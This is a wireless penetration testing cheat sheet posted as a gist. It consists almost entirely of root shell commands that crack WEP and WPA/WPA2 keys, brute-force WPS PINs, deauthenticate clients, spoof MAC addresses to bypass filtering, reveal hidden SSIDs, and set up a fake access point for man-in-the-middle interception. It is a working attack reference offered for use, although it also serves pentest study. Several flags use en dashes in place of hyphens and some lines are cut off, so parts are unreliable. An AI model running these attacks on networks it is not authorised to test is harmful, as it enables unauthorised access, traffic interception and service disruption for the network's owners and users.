dogrocker / **Wireless Penetration Testing Cheat Sheet.md**

Created 3 years ago

Wireless Penetration Testing Cheat Sheet

`Wireless Penetration Testing Cheat Sheet.md` Raw

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

- Open the Monitor Mode

```
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
```

- Increase Wi-Fi TX Power

```
root@uceka:~# iw reg set B0
root@uceka:~# iwconfig wlan0 txpower <NmW|NdBm|off|auto>
#txpower is 30 (generally)
#txpower is depends your country, please googling
root@uceka:~# iwconfig
```

- Change WiFi Channel

```
root@uceka:~# iwconfig wlan0 channel <SetChannel(1-14)>
```

##WEP CRACKING

- Method 1 : Fake Authentication Attack

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 -a <BSSID> -h <OurMac> -e <ESSID> wlan0mon
root@uceka:~# aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aircrack-ng –b <BSSID> <PCAP_of_FileName>
```

- Method 2 : ARP Replay Attack

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
```

```
root@uceka:~# aireplay-ng -3 –x 1000 –n 1000 –b <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aircrack-ng –b <BSSID> <PCAP_of_FileName>
```

- Method 3 : Chop Chop Attack

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aireplay-ng -4 –b <BSSID> -h <OurMac> wlan0mon
 #Press ‘y’ ;
root@uceka:~# packetforge-ng -0 –a <BSSID> -h <OurMac> -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile
root@uceka:~# aireplay-ng -2 –r <FileName2> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>
```

- Method 4 : Fragmentation Attack

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aireplay-ng -5 –b<BSSID> -h < OurMac > wlan0mon
#Press ‘y’ ;
root@uceka:~# packetforge-ng -0 –a <BSSID> -h < OurMac > -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFi
root@uceka:~# aireplay-ng -2 –r <FileName2> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>
```

- Method 5 : SKA (Shared Key Authentication) Type Cracking

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 10 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# macchanger ––mac <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon up
root@uceka:~# aireplay-ng -3 –b <BSSID> -h <FakedMac> wlan0mon
root@uceka:~# aireplay-ng ––deauth 1 –a <BSSID> -h <FakedMac> wlan0mon
root@uceka:~# aircrack-ng <PCAP_of_FileName>
```

##WPA / WPA2 CRACKING

- Method 1 : WPS Attack

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# apt-get install reaver
root@uceka:~# wash –i wlan0mon –C
root@uceka:~# reaver –i wlan0mon –b <BSSID> -vv –S
#or, Specific attack
root@uceka:~# reaver –i –c <Channel> -b <BSSID> -p <PinCode> -vv –S
```

- Method 2 : Dictionary Attack

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# aircrack-ng –w <WordlistFile> -b <BSSID> <Handshaked_PCAP>
```

- Method 3 : Crack with John The Ripper

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# cd /pentest/passwords/john
root@uceka:~# ./john –wordlist=<Wordlist> --rules –stdout|aircrack-ng -0 –e <ESSID> -w - <PCAP_of_FileName
```

- Method 4 : Crack with coWPAtty

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# cowpatty –r <FileName> -f <Wordlist> -2 –s <SSID>
root@uceka:~# genpmk –s <SSID> –f <Wordlist> -d <HashesFileName>
root@uceka:~# cowpatty –r <PCAP_of_FileName> -d <HashesFileName> -2 –s <SSID>
```

- Method 5 : Crack with Pyrit

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# pyrit –r<PCAP_of_FileName> -b <BSSID> -i <Wordlist> attack_passthrough
root@uceka:~# pyrit –i <Wordlist> import_passwords
root@uceka:~# pyrit –e <ESSID> create_essid
root@uceka:~# pyrit batch
root@uceka:~# pyrit –r <PCAP_of_FileName> attack_db
```

- Method 6 : Precomputed WPA Keys Database Attack

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# kwrite ESSID.txt
root@uceka:~# airolib-ng NEW_DB --import essid ESSID.txt
root@uceka:~# airolib-ng NEW_DB --import passwd <DictionaryFile>
root@uceka:~# airolib-ng NEW_DB --clean all
root@uceka:~# airolib-ng NEW_DB --stats
root@uceka:~# airolib-ng NEW_DB --batch
root@uceka:~# airolib-ng NEW_DB --verify all
root@uceka:~# aircrack-ng –r NEW_DB <Handshaked_PCAP>
```

##FIND HIDDEN SSID

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <Channel> --bssid <BSSID> wlan0mon
root@uceka:~# aireplay-ng -0 20 –a <BSSID> -c <VictimMac> wlan0mon
```

##BYPASS MAC FILTERING

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
root@uceka:~# aireplay-ng -0 10 –a <BSSID> -c <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# macchanger –-mac <VictimMac> wlan0mon
root@uceka:~# ifconfig wlan0mon up
root@uceka:~# aireplay-ng -3 –b <BSSID> -h <FakedMac> wlan0mon
```

##MAN IN THE MIDDLE ATTACK

```
root@uceka:~# airmon-ng start wlan0
root@uceka:~# airbase-ng –e “<FakeBSSID>” wlan0mon
root@uceka:~# brctl addbr <VariableName>
root@uceka:~# brctl addif <VariableName> wlan0mon
root@uceka:~# brctl addif <VariableName> at0
root@uceka:~# ifconfig eth0 0.0.0.0 up
root@uceka:~# ifconfig at0 0.0.0.0 up
root@uceka:~# ifconfig <VariableName> up
root@uceka:~# aireplay-ng –deauth 0 –a <victimBSSID> wlan0mon
root@uceka:~# dhclient3 <VariableName> &
root@uceka:~# wireshark &
;select <VariableName> interface
```

ref: uceka.com